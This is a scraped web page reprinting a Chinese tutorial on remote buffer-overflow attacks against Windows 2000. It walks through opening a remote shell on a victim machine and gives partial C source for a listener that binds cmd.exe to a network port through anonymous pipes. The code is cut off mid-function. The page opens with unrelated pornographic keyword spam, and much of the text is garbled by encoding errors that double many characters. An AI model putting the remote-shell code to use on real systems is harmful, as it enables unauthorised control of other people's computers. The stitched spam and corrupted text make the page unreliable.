日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

windows系統(tǒng)下的遠(yuǎn)程溢出方法

我們來研究windows系統(tǒng)下的遠(yuǎn)程溢出方法 。
我們的目的是研究如何利用windows程序的溢出來進(jìn)行遠(yuǎn)程攻擊 。
如果對(duì)于windows下的緩沖區(qū)溢出不是很熟悉,請(qǐng)大家復(fù)習(xí)我前面的文章:
《window系統(tǒng)下的堆棧溢出》(IsBaseMagzine 20003) 。
本文以及后續(xù)的《實(shí)戰(zhàn)篇》都是建立在該文基礎(chǔ)上的 。
讓我們從頭開始 。windows 2000 Advanced Server(Build 5.00.2195)
第一篇 《原理篇》
----遠(yuǎn)程溢出算法
如何開一個(gè)遠(yuǎn)程shell呢?
思路是這樣的:首先使敵人的程序溢出,讓他執(zhí)行我們的shellcode 。
我們的shellcode的功能就是在敵人的機(jī)器上用某個(gè)端口開一個(gè)telnetd 服務(wù)器,
然后等待客戶來的連接 。當(dāng)客戶連接上之后,為這個(gè)客戶開創(chuàng)一個(gè)cmd.exe,
把客戶的輸入輸出和cmd.exe的輸入輸出聯(lián)系起來,我們
遠(yuǎn)程的使用者就有了一個(gè)遠(yuǎn)程shell(跟telnet一樣啦) 。
上面的算法我想大家都該想得到,這里面socket部分比較簡(jiǎn)單 。和Unix下的基本
差不多 。就是加了一個(gè)WSAStartup;為客戶開創(chuàng)一個(gè)cmd.exe,就是用CreateProcess
來創(chuàng)建這個(gè)子進(jìn)程;但是如何把客戶的輸入輸出和cmd.exe的輸出輸入聯(lián)系起來呢?
我使用了匿名管道(Anonymous Pipe)來完成這個(gè)聯(lián)系過程 。
管道(Pipe)是一種簡(jiǎn)單的進(jìn)程間通信(IPC)機(jī)制 。在Windows NT,2000,98,95下都
可以使用 。管道分有名和匿名兩種,命名管道可以在同一臺(tái)機(jī)器的不同進(jìn)程間以及不同
機(jī)器
上的不同進(jìn)程之間進(jìn)行雙向通信(使用UNC命名規(guī)范) 。
匿名管道只是在父子進(jìn)程之間或者一個(gè)進(jìn)程的兩個(gè)子進(jìn)程之間進(jìn)行通信 。他是單向的 。
匿名管道其實(shí)是通過用給了一個(gè)指定名字的有名管道來實(shí)現(xiàn)的 。
管道的最大好處在于:他可以象對(duì)普通文件一樣進(jìn)行操作 。
他的操作標(biāo)示符是HANDLE,也就是說,他可以使用readFile,
WriteFile函數(shù)來進(jìn)行與底層實(shí)現(xiàn)無關(guān)的讀寫操作!用戶根本就不必了解網(wǎng)絡(luò)間/進(jìn)程間
通信的具體細(xì)節(jié) 。
下面就是這個(gè)算法的C實(shí)現(xiàn):
/***************************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include
#include
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
這段代碼是用來建立一個(gè)Tcp Server的,我們先申請(qǐng)一個(gè)socketfd,
使用53764(隨便,多少都行)作為這個(gè)socket連接的端口,bind他,
然后在這個(gè)端口上等待連接listen 。程序阻塞在accept函數(shù)直到有
client連接上來 。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
創(chuàng)建兩個(gè)匿名管道 。hReadPipe只能用來讀管道,hWritePipe1只能用來寫管道 。
*/
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

推薦閱讀